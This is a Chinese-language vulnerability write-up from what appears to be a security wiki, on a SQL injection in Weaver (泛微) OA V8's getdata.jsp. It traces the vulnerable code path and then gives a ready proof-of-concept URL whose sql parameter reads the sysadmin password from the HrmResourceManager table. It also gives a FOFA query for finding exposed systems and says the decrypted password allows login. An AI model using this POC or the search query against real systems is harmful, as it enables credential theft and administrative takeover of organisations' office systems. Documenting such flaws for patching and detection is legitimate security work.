menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 泛微OA V8 SQL注入漏洞 chevron_right 泛微OA V8 SQL注入漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    泛微OA V8 SQL注入漏洞.md
    1.67 KB / 2021-07-15 20:14:29
        # 泛微OA V8 SQL注入漏洞
    
    ## 漏洞描述
    
    泛微OA V8 存在SQL注入漏洞,攻击者可以通过漏洞获取管理员权限和服务器权限
    
    ## 漏洞影响
    
    > [!NOTE]
    >
    > 泛微OA V8
    
    ## FOFA
    
    > [!NOTE]
    >
    > app="泛微-协同办公OA"
    
    ## 漏洞复现
    
    在getdata.jsp中,直接将request对象交给
    
    **weaver.hrm.common.AjaxManager.getData(HttpServletRequest, ServletContext) : **
    
    方法处理
    
    ![](resource/泛微OA-V8-SQL注入漏洞/media/1.png)
    
    在getData方法中,判断请求里cmd参数是否为空,如果不为空,调用proc方法
    
    ![](resource/泛微OA-V8-SQL注入漏洞/media/2.png)
    
    Proc方法4个参数,(“空字符串”,”cmd参数值”,request对象,serverContext对象)
    
    在proc方法中,对cmd参数值进行判断,当cmd值等于getSelectAllId时,再从请求中获取sql和type两个参数值,并将参数传递进getSelectAllIds(sql,type)方法中
    
    ![](resource/泛微OA-V8-SQL注入漏洞/media/3.png)
    
    根据以上代码流程,只要构造请求参数
    
    ?cmd= getSelectAllId&sql=select password as id from userinfo;
    
    即可完成对数据库操控
    
    POC
    
    ```
    http://xxx.xxx.xxx.xxx/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20password%20as%20id%20from%20HrmResourceManager
    ```
    
    查询HrmResourceManager表中的password字段,页面中返回了数据库第一条记录的值(sysadmin用户的password)
    
    ![](resource/泛微OA-V8-SQL注入漏洞/media/4.png)
    
    解密后即可登录系统
    
    ![](resource/泛微OA-V8-SQL注入漏洞/media/5.png)
    
    ##  Goby & POC
    
    > [!NOTE]
    >
    > 已上传 https://github.com/PeiQi0/PeiQi-WIKI-POC Goby & POC 目录中
    >
    > Weaver OA 8 SQL injection
    
    ![](resource/泛微OA-V8-SQL注入漏洞/media/6.png)
    
    
    links
    file_download